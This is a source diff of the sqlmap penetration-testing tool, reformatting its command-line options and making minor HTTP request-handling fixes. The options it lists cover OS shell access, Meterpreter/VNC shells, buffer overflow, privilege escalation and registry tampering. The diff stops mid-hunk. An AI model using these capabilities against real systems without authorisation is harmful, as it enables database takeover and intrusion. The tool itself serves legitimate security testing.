filesystem.add_option("--file-read", dest="rFile",
|
filesystem.add_option("--file-read", dest="rFile",
|
||||||
help="Read a file from the back-end DBMS "
|
help="Read a file from the back-end DBMS file system")
|
||||||
"file system")
|
|
||||||
|
|
||||||
filesystem.add_option("--file-write", dest="wFile",
|
filesystem.add_option("--file-write", dest="wFile",
|
||||||
help="Write a local file on the back-end "
|
help="Write a local file on the back-end DBMS file system")
|
||||||
"DBMS file system")
|
|
||||||
|
|
||||||
filesystem.add_option("--file-dest", dest="dFile",
|
filesystem.add_option("--file-dest", dest="dFile",
|
||||||
help="Back-end DBMS absolute filepath to "
|
help="Back-end DBMS absolute filepath to write to")
|
||||||
"write to")
|
|
||||||
|
|
||||||
# Takeover options
|
# Takeover options
|
||||||
takeover = OptionGroup(parser, "Operating system access", "These "
|
takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")
|
||||||
"options can be used to access the back-end "
|
|
||||||
"database management system underlying "
|
|
||||||
"operating system")
|
|
||||||
|
|
||||||
takeover.add_option("--os-cmd", dest="osCmd",
|
takeover.add_option("--os-cmd", dest="osCmd",
|
||||||
help="Execute an operating system command")
|
help="Execute an operating system command")
|
||||||
|
|
||||||
takeover.add_option("--os-shell", dest="osShell",
|
takeover.add_option("--os-shell", dest="osShell", action="store_true",
|
||||||
action="store_true",
|
help="Prompt for an interactive operating system shell")
|
||||||
help="Prompt for an interactive operating "
|
|
||||||
"system shell")
|
|
||||||
|
|
||||||
takeover.add_option("--os-pwn", dest="osPwn",
|
takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
|
||||||
action="store_true",
|
help="Prompt for an OOB shell, Meterpreter or VNC")
|
||||||
help="Prompt for an OOB shell, "
|
|
||||||
"Meterpreter or VNC")
|
|
||||||
|
|
||||||
takeover.add_option("--os-smbrelay", dest="osSmb",
|
takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
|
||||||
action="store_true",
|
help="One click prompt for an OOB shell, Meterpreter or VNC")
|
||||||
help="One click prompt for an OOB shell, "
|
|
||||||
"Meterpreter or VNC")
|
|
||||||
|
|
||||||
takeover.add_option("--os-bof", dest="osBof",
|
takeover.add_option("--os-bof", dest="osBof", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Stored procedure buffer overflow "
|
help="Stored procedure buffer overflow "
|
||||||
"exploitation")
|
"exploitation")
|
||||||
|
|
||||||
takeover.add_option("--priv-esc", dest="privEsc",
|
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
|
||||||
action="store_true",
|
|
||||||
help="Database process user privilege escalation")
|
help="Database process user privilege escalation")
|
||||||
|
|
||||||
takeover.add_option("--msf-path", dest="msfPath",
|
takeover.add_option("--msf-path", dest="msfPath",
|
||||||
help="Local path where Metasploit Framework "
|
help="Local path where Metasploit Framework is installed")
|
||||||
"is installed")
|
|
||||||
|
|
||||||
takeover.add_option("--tmp-path", dest="tmpPath",
|
takeover.add_option("--tmp-path", dest="tmpPath",
|
||||||
help="Remote absolute path of temporary files "
|
help="Remote absolute path of temporary files directory")
|
||||||
"directory")
|
|
||||||
|
|
||||||
# Windows registry options
|
# Windows registry options
|
||||||
windows = OptionGroup(parser, "Windows registry access", "These "
|
windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")
|
||||||
"options can be used to access the back-end "
|
|
||||||
"database management system Windows "
|
|
||||||
"registry")
|
|
||||||
|
|
||||||
windows.add_option("--reg-read", dest="regRead",
|
windows.add_option("--reg-read", dest="regRead", action="store_true",
|
||||||
action="store_true",
|
help="Read a Windows registry key value")
|
||||||
help="Read a Windows registry key value")
|
|
||||||
|
|
||||||
windows.add_option("--reg-add", dest="regAdd",
|
windows.add_option("--reg-add", dest="regAdd", action="store_true",
|
||||||
action="store_true",
|
help="Write a Windows registry key value data")
|
||||||
help="Write a Windows registry key value data")
|
|
||||||
|
|
||||||
windows.add_option("--reg-del", dest="regDel",
|
windows.add_option("--reg-del", dest="regDel", action="store_true",
|
||||||
action="store_true",
|
help="Delete a Windows registry key value")
|
||||||
help="Delete a Windows registry key value")
|
|
||||||
|
|
||||||
windows.add_option("--reg-key", dest="regKey",
|
windows.add_option("--reg-key", dest="regKey",
|
||||||
help="Windows registry key")
|
help="Windows registry key")
|
||||||
|
|
||||||
windows.add_option("--reg-value", dest="regVal",
|
windows.add_option("--reg-value", dest="regVal",
|
||||||
help="Windows registry key value")
|
help="Windows registry key value")
|
||||||
|
|
||||||
windows.add_option("--reg-data", dest="regData",
|
windows.add_option("--reg-data", dest="regData",
|
||||||
help="Windows registry key value data")
|
help="Windows registry key value data")
|
||||||
|
|
||||||
windows.add_option("--reg-type", dest="regType",
|
windows.add_option("--reg-type", dest="regType",
|
||||||
help="Windows registry key value type")
|
help="Windows registry key value type")
|
||||||
|
|
||||||
# General options
|
# General options
|
||||||
general = OptionGroup(parser, "General", "These options can be used "
|
general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")
|
||||||
"to set some general working parameters")
|
|
||||||
|
|
||||||
general.add_option("-s", dest="sessionFile",
|
general.add_option("-s", dest="sessionFile",
|
||||||
help="Load session from a stored (.sqlite) file")
|
help="Load session from a stored (.sqlite) file")
|
||||||
|
|
||||||
general.add_option("-t", dest="trafficFile",
|
general.add_option("-t", dest="trafficFile",
|
||||||
help="Log all HTTP traffic into a "
|
help="Log all HTTP traffic into a textual file")
|
||||||
"textual file")
|
|
||||||
|
|
||||||
general.add_option("--batch", dest="batch",
|
general.add_option("--batch", dest="batch", action="store_true",
|
||||||
action="store_true",
|
help="Never ask for user input, use the default behavior")
|
||||||
help="Never ask for user input, use the default behavior")
|
|
||||||
|
|
||||||
general.add_option("--binary-fields", dest="binaryFields",
|
general.add_option("--binary-fields", dest="binaryFields",
|
||||||
help="Result fields having binary values (e.g. \"digest\")")
|
help="Result fields having binary values (e.g. \"digest\")")
|
||||||
|
|
||||||
general.add_option("--check-internet", dest="checkInternet",
|
general.add_option("--check-internet", dest="checkInternet", action="store_true",
|
||||||
action="store_true",
|
help="Check Internet connection before assessing the target")
|
||||||
help="Check Internet connection before assessing the target")
|
|
||||||
|
|
||||||
general.add_option("--crawl", dest="crawlDepth", type="int",
|
general.add_option("--crawl", dest="crawlDepth", type="int",
|
||||||
help="Crawl the website starting from the target URL")
|
help="Crawl the website starting from the target URL")
|
||||||
|
|
||||||
general.add_option("--crawl-exclude", dest="crawlExclude",
|
general.add_option("--crawl-exclude", dest="crawlExclude",
|
||||||
help="Regexp to exclude pages from crawling (e.g. \"logout\")")
|
help="Regexp to exclude pages from crawling (e.g. \"logout\")")
|
||||||
|
|
||||||
general.add_option("--csv-del", dest="csvDel",
|
general.add_option("--csv-del", dest="csvDel",
|
||||||
help="Delimiting character used in CSV output "
|
help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)
|
||||||
"(default \"%s\")" % defaults.csvDel)
|
|
||||||
|
|
||||||
general.add_option("--charset", dest="charset",
|
general.add_option("--charset", dest="charset",
|
||||||
help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
|
help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
|
||||||
|
|
||||||
general.add_option("--dump-format", dest="dumpFormat",
|
general.add_option("--dump-format", dest="dumpFormat",
|
||||||
help="Format of dumped data (CSV (default), HTML or SQLITE)")
|
help="Format of dumped data (CSV (default), HTML or SQLITE)")
|
||||||
|
|
||||||
general.add_option("--encoding", dest="encoding",
|
general.add_option("--encoding", dest="encoding",
|
||||||
help="Character encoding used for data retrieval (e.g. GBK)")
|
help="Character encoding used for data retrieval (e.g. GBK)")
|
||||||
|
|
||||||
general.add_option("--eta", dest="eta",
|
general.add_option("--eta", dest="eta", action="store_true",
|
||||||
action="store_true",
|
help="Display for each output the estimated time of arrival")
|
||||||
help="Display for each output the estimated time of arrival")
|
|
||||||
|
|
||||||
general.add_option("--flush-session", dest="flushSession",
|
general.add_option("--flush-session", dest="flushSession", action="store_true",
|
||||||
action="store_true",
|
help="Flush session files for current target")
|
||||||
help="Flush session files for current target")
|
|
||||||
|
|
||||||
general.add_option("--forms", dest="forms",
|
general.add_option("--forms", dest="forms", action="store_true",
|
||||||
action="store_true",
|
help="Parse and test forms on target URL")
|
||||||
help="Parse and test forms on target URL")
|
|
||||||
|
|
||||||
general.add_option("--fresh-queries", dest="freshQueries",
|
general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
|
||||||
action="store_true",
|
help="Ignore query results stored in session file")
|
||||||
help="Ignore query results stored in session file")
|
|
||||||
|
|
||||||
general.add_option("--har", dest="harFile",
|
general.add_option("--har", dest="harFile",
|
||||||
help="Log all HTTP traffic into a HAR file")
|
help="Log all HTTP traffic into a HAR file")
|
||||||
|
|
||||||
general.add_option("--hex", dest="hexConvert",
|
general.add_option("--hex", dest="hexConvert", action="store_true",
|
||||||
action="store_true",
|
help="Use DBMS hex function(s) for data retrieval")
|
||||||
help="Use DBMS hex function(s) for data retrieval")
|
|
||||||
|
|
||||||
general.add_option("--output-dir", dest="outputDir",
|
general.add_option("--output-dir", dest="outputDir", action="store",
|
||||||
action="store",
|
help="Custom output directory path")
|
||||||
help="Custom output directory path")
|
|
||||||
|
|
||||||
general.add_option("--parse-errors", dest="parseErrors",
|
general.add_option("--parse-errors", dest="parseErrors", action="store_true",
|
||||||
action="store_true",
|
help="Parse and display DBMS error messages from responses")
|
||||||
help="Parse and display DBMS error messages from responses")
|
|
||||||
|
|
||||||
general.add_option("--save", dest="saveConfig",
|
general.add_option("--save", dest="saveConfig",
|
||||||
help="Save options to a configuration INI file")
|
help="Save options to a configuration INI file")
|
||||||
|
|
||||||
general.add_option("--scope", dest="scope",
|
general.add_option("--scope", dest="scope",
|
||||||
help="Regexp to filter targets from provided proxy log")
|
help="Regexp to filter targets from provided proxy log")
|
||||||
@@ -697,77 +601,65 @@ def cmdLineParser(argv=None):
|
|||||||
general.add_option("--test-skip", dest="testSkip",
|
general.add_option("--test-skip", dest="testSkip",
|
||||||
help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
|
help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
|
||||||
|
|
||||||
general.add_option("--update", dest="updateAll",
|
general.add_option("--update", dest="updateAll", action="store_true",
|
||||||
action="store_true",
|
help="Update sqlmap")
|
||||||
help="Update sqlmap")
|
|
||||||
|
|
||||||
# Miscellaneous options
|
# Miscellaneous options
|
||||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||||
|
|
||||||
miscellaneous.add_option("-z", dest="mnemonics",
|
miscellaneous.add_option("-z", dest="mnemonics",
|
||||||
help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
|
help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
|
||||||
|
|
||||||
miscellaneous.add_option("--alert", dest="alert",
|
miscellaneous.add_option("--alert", dest="alert",
|
||||||
help="Run host OS command(s) when SQL injection is found")
|
help="Run host OS command(s) when SQL injection is found")
|
||||||
|
|
||||||
miscellaneous.add_option("--answers", dest="answers",
|
miscellaneous.add_option("--answers", dest="answers",
|
||||||
help="Set question answers (e.g. \"quit=N,follow=N\")")
|
help="Set question answers (e.g. \"quit=N,follow=N\")")
|
||||||
|
|
||||||
miscellaneous.add_option("--beep", dest="beep", action="store_true",
|
miscellaneous.add_option("--beep", dest="beep", action="store_true",
|
||||||
help="Beep on question and/or when SQL injection is found")
|
help="Beep on question and/or when SQL injection is found")
|
||||||
|
|
||||||
miscellaneous.add_option("--cleanup", dest="cleanup",
|
miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
|
||||||
action="store_true",
|
help="Clean up the DBMS from sqlmap specific UDF and tables")
|
||||||
help="Clean up the DBMS from sqlmap specific "
|
|
||||||
"UDF and tables")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--dependencies", dest="dependencies",
|
miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
|
||||||
action="store_true",
|
help="Check for missing (non-core) sqlmap dependencies")
|
||||||
help="Check for missing (non-core) sqlmap dependencies")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--disable-coloring", dest="disableColoring",
|
miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
|
||||||
action="store_true",
|
help="Disable console output coloring")
|
||||||
help="Disable console output coloring")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
|
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
|
||||||
help="Use Google dork results from specified page number")
|
help="Use Google dork results from specified page number")
|
||||||
|
|
||||||
miscellaneous.add_option("--identify-waf", dest="identifyWaf",
|
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
|
||||||
action="store_true",
|
help="Make a thorough testing for a WAF/IPS/IDS protection")
|
||||||
help="Make a thorough testing for a WAF/IPS/IDS protection")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--mobile", dest="mobile",
|
miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
|
||||||
action="store_true",
|
help="Imitate smartphone through HTTP User-Agent header")
|
||||||
help="Imitate smartphone through HTTP User-Agent header")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--offline", dest="offline",
|
miscellaneous.add_option("--offline", dest="offline", action="store_true",
|
||||||
action="store_true",
|
help="Work in offline mode (only use session data)")
|
||||||
help="Work in offline mode (only use session data)")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--purge-output", dest="purgeOutput",
|
miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true",
|
||||||
action="store_true",
|
help="Safely remove all content from output directory")
|
||||||
help="Safely remove all content from output directory")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--skip-waf", dest="skipWaf",
|
miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
|
||||||
action="store_true",
|
help="Skip heuristic detection of WAF/IPS/IDS protection")
|
||||||
help="Skip heuristic detection of WAF/IPS/IDS protection")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--smart", dest="smart",
|
miscellaneous.add_option("--smart", dest="smart", action="store_true",
|
||||||
action="store_true",
|
help="Conduct thorough tests only if positive heuristic(s)")
|
||||||
help="Conduct thorough tests only if positive heuristic(s)")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
|
miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
|
||||||
help="Prompt for an interactive sqlmap shell")
|
help="Prompt for an interactive sqlmap shell")
|
||||||
|
|
||||||
miscellaneous.add_option("--tmp-dir", dest="tmpDir",
|
miscellaneous.add_option("--tmp-dir", dest="tmpDir",
|
||||||
help="Local directory for storing temporary files")
|
help="Local directory for storing temporary files")
|
||||||
|
|
||||||
miscellaneous.add_option("--web-root", dest="webRoot",
|
miscellaneous.add_option("--web-root", dest="webRoot",
|
||||||
help="Web server document root directory (e.g. \"/var/www\")")
|
help="Web server document root directory (e.g. \"/var/www\")")
|
||||||
|
|
||||||
miscellaneous.add_option("--wizard", dest="wizard",
|
miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
|
||||||
action="store_true",
|
help="Simple wizard interface for beginner users")
|
||||||
help="Simple wizard interface for beginner users")
|
|
||||||
|
|
||||||
# Hidden and/or experimental options
|
# Hidden and/or experimental options
|
||||||
parser.add_option("--dummy", dest="dummy", action="store_true",
|
parser.add_option("--dummy", dest="dummy", action="store_true",
|
||||||
@@ -909,7 +801,7 @@ def cmdLineParser(argv=None):
|
|||||||
for arg in shlex.split(command):
|
for arg in shlex.split(command):
|
||||||
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
|
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
|
||||||
except ValueError, ex:
|
except ValueError, ex:
|
||||||
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
|
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
|
||||||
|
|
||||||
for i in xrange(len(argv)):
|
for i in xrange(len(argv)):
|
||||||
if argv[i] == "-hh":
|
if argv[i] == "-hh":
|
||||||
@@ -976,9 +868,7 @@ def cmdLineParser(argv=None):
|
|||||||
if args.dummy:
|
if args.dummy:
|
||||||
args.url = args.url or DUMMY_URL
|
args.url = args.url or DUMMY_URL
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)):
|
||||||
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
|
|
||||||
args.purgeOutput, args.sitemapUrl)):
|
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
|
||||||
errMsg += "use -h for basic or -hh for advanced help\n"
|
errMsg += "use -h for basic or -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|||||||
@@ -24,18 +24,16 @@ def headersParser(headers):
|
|||||||
if not kb.headerPaths:
|
if not kb.headerPaths:
|
||||||
kb.headerPaths = {
|
kb.headerPaths = {
|
||||||
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
||||||
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
||||||
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
|
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
|
||||||
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
|
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
|
||||||
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
||||||
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
|
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
|
||||||
}
|
}
|
||||||
|
|
||||||
for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
|
for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
|
||||||
value = headers[header]
|
value = headers[header]
|
||||||
xmlfile = kb.headerPaths[header]
|
xmlfile = kb.headerPaths[header]
|
||||||
|
|
||||||
handler = FingerprintHandler(value, kb.headersFp)
|
handler = FingerprintHandler(value, kb.headersFp)
|
||||||
|
|
||||||
parseXmlFile(xmlfile, handler)
|
parseXmlFile(xmlfile, handler)
|
||||||
parseXmlFile(paths.GENERIC_XML, handler)
|
parseXmlFile(paths.GENERIC_XML, handler)
|
||||||
|
|||||||
@@ -78,7 +78,7 @@ def loadBoundaries():
|
|||||||
errMsg = "something appears to be wrong with "
|
errMsg = "something appears to be wrong with "
|
||||||
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
|
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
|
||||||
errMsg += "sure that you haven't made any changes to it"
|
errMsg += "sure that you haven't made any changes to it"
|
||||||
raise SqlmapInstallationException, errMsg
|
raise SqlmapInstallationException(errMsg)
|
||||||
|
|
||||||
root = doc.getroot()
|
root = doc.getroot()
|
||||||
parseXmlNode(root)
|
parseXmlNode(root)
|
||||||
@@ -93,7 +93,7 @@ def loadPayloads():
|
|||||||
errMsg = "something appears to be wrong with "
|
errMsg = "something appears to be wrong with "
|
||||||
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
|
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
|
||||||
errMsg += "sure that you haven't made any changes to it"
|
errMsg += "sure that you haven't made any changes to it"
|
||||||
raise SqlmapInstallationException, errMsg
|
raise SqlmapInstallationException(errMsg)
|
||||||
|
|
||||||
root = doc.getroot()
|
root = doc.getroot()
|
||||||
parseXmlNode(root)
|
parseXmlNode(root)
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
|
|||||||
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
|
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
|
||||||
except httplib.InvalidURL:
|
except httplib.InvalidURL:
|
||||||
errMsg = "invalid URL given for sitemap ('%s')" % url
|
errMsg = "invalid URL given for sitemap ('%s')" % url
|
||||||
raise SqlmapSyntaxException, errMsg
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
|
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
|
||||||
if abortedFlag:
|
if abortedFlag:
|
||||||
|
|||||||
@@ -61,7 +61,7 @@ def forgeHeaders(items=None, base=None):
|
|||||||
if items[_] is None:
|
if items[_] is None:
|
||||||
del items[_]
|
del items[_]
|
||||||
|
|
||||||
headers = OrderedDict(base or conf.httpHeaders)
|
headers = OrderedDict(conf.httpHeaders if base is None else base)
|
||||||
headers.update(items.items())
|
headers.update(items.items())
|
||||||
|
|
||||||
class _str(str):
|
class _str(str):
|
||||||
@@ -110,7 +110,9 @@ def forgeHeaders(items=None, base=None):
|
|||||||
kb.mergeCookies = readInput(message, default='Y', boolean=True)
|
kb.mergeCookies = readInput(message, default='Y', boolean=True)
|
||||||
|
|
||||||
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
|
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
|
||||||
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
|
def _(value):
|
||||||
|
return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
|
||||||
|
|
||||||
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
|
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
|
||||||
|
|
||||||
if PLACE.COOKIE in conf.parameters:
|
if PLACE.COOKIE in conf.parameters:
|
||||||
@@ -161,7 +163,7 @@ def checkCharEncoding(encoding, warn=True):
|
|||||||
return encoding
|
return encoding
|
||||||
|
|
||||||
# Reference: http://www.destructor.de/charsets/index.htm
|
# Reference: http://www.destructor.de/charsets/index.htm
|
||||||
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
|
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
|
||||||
|
|
||||||
for delimiter in (';', ',', '('):
|
for delimiter in (';', ',', '('):
|
||||||
if delimiter in encoding:
|
if delimiter in encoding:
|
||||||
|
|||||||
@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
|
|||||||
self.retried_count = 0
|
self.retried_count = 0
|
||||||
else:
|
else:
|
||||||
if self.retried_count > 5:
|
if self.retried_count > 5:
|
||||||
raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed",
|
raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
|
||||||
headers, None)
|
|
||||||
else:
|
else:
|
||||||
self.retried_count += 1
|
self.retried_count += 1
|
||||||
|
|
||||||
return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(
|
return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)
|
||||||
self, auth_header, host, req, headers)
|
|
||||||
|
|||||||
+41
-33
@@ -187,13 +187,13 @@ class Connect(object):
|
|||||||
|
|
||||||
if not kb.dnsMode and conn:
|
if not kb.dnsMode and conn:
|
||||||
headers = conn.info()
|
headers = conn.info()
|
||||||
if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\
|
if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
|
||||||
or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
|
|
||||||
retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
|
retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
|
||||||
if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
|
if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
|
||||||
warnMsg = "large compressed response detected. Disabling compression"
|
warnMsg = "large compressed response detected. Disabling compression"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
kb.pageCompress = False
|
kb.pageCompress = False
|
||||||
|
raise SqlmapCompressionException
|
||||||
else:
|
else:
|
||||||
while True:
|
while True:
|
||||||
if not conn:
|
if not conn:
|
||||||
@@ -241,27 +241,27 @@ class Connect(object):
|
|||||||
kb.requestCounter += 1
|
kb.requestCounter += 1
|
||||||
threadData.lastRequestUID = kb.requestCounter
|
threadData.lastRequestUID = kb.requestCounter
|
||||||
|
|
||||||
url = kwargs.get("url", None) or conf.url
|
url = kwargs.get("url", None) or conf.url
|
||||||
get = kwargs.get("get", None)
|
get = kwargs.get("get", None)
|
||||||
post = kwargs.get("post", None)
|
post = kwargs.get("post", None)
|
||||||
method = kwargs.get("method", None)
|
method = kwargs.get("method", None)
|
||||||
cookie = kwargs.get("cookie", None)
|
cookie = kwargs.get("cookie", None)
|
||||||
ua = kwargs.get("ua", None) or conf.agent
|
ua = kwargs.get("ua", None) or conf.agent
|
||||||
referer = kwargs.get("referer", None) or conf.referer
|
referer = kwargs.get("referer", None) or conf.referer
|
||||||
host = kwargs.get("host", None) or conf.host
|
host = kwargs.get("host", None) or conf.host
|
||||||
direct_ = kwargs.get("direct", False)
|
direct_ = kwargs.get("direct", False)
|
||||||
multipart = kwargs.get("multipart", None)
|
multipart = kwargs.get("multipart", None)
|
||||||
silent = kwargs.get("silent", False)
|
silent = kwargs.get("silent", False)
|
||||||
raise404 = kwargs.get("raise404", True)
|
raise404 = kwargs.get("raise404", True)
|
||||||
timeout = kwargs.get("timeout", None) or conf.timeout
|
timeout = kwargs.get("timeout", None) or conf.timeout
|
||||||
auxHeaders = kwargs.get("auxHeaders", None)
|
auxHeaders = kwargs.get("auxHeaders", None)
|
||||||
response = kwargs.get("response", False)
|
response = kwargs.get("response", False)
|
||||||
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
|
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
|
||||||
refreshing = kwargs.get("refreshing", False)
|
refreshing = kwargs.get("refreshing", False)
|
||||||
retrying = kwargs.get("retrying", False)
|
retrying = kwargs.get("retrying", False)
|
||||||
crawling = kwargs.get("crawling", False)
|
crawling = kwargs.get("crawling", False)
|
||||||
checking = kwargs.get("checking", False)
|
checking = kwargs.get("checking", False)
|
||||||
skipRead = kwargs.get("skipRead", False)
|
skipRead = kwargs.get("skipRead", False)
|
||||||
|
|
||||||
if multipart:
|
if multipart:
|
||||||
post = multipart
|
post = multipart
|
||||||
@@ -346,7 +346,7 @@ class Connect(object):
|
|||||||
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
|
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
|
||||||
|
|
||||||
# Prepare HTTP headers
|
# Prepare HTTP headers
|
||||||
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
|
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
|
||||||
|
|
||||||
if HTTP_HEADER.COOKIE in headers:
|
if HTTP_HEADER.COOKIE in headers:
|
||||||
cookie = headers[HTTP_HEADER.COOKIE]
|
cookie = headers[HTTP_HEADER.COOKIE]
|
||||||
@@ -479,8 +479,7 @@ class Connect(object):
|
|||||||
|
|
||||||
# Get HTTP response
|
